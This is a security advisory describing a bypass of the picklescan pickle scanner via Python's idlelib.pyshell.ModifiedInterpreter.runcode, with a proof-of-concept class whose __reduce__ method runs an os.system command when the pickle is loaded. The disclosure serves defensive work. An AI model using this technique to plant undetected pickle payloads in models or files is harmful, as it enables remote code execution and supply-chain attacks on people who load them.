Vulnerability GHSA-3gf5-cxq9-w223

High Risk
HIGH RISK
CVSS Score: 8.1
Score Range: 7.0–8.9
High severity vulnerabilities (CVSS 7.0–8.9). Serious vulnerabilities that should be prioritized soon after critical fixes.
1 year ago
August 26, 2025 at 09:37 PM UTC
Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode
0.0.1 - 0.0.29
0.0.1 - 0.0.29

Summary

Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode

Details

Summary

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC


from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncode:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(
                executing=False,
                beginexecuting=str,
                canceled=False,
                closing=False,
                showtraceback=str,
                endexecuting=str,
                stderr=None,
                text=SimpleNamespace(),
                getvar=str
            ),
            rpcclt=None,
            debugger=None,
            checklinecache=str,
            active_seq=None,
            showtraceback=str,
            canceled=False,
            closing=False
        )
        return ModifiedInterpreter.runcode, (fake_self, payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Impacted packages

Timeline

Published
1 year ago
August 26, 2025 at 09:37 PM UTC
Fixed (0.0.30)
1 year ago
August 26, 2025 at 07:37 PM UTC
Last Modified
16 hours ago
November 03, 2026 at 05:45 PM UTC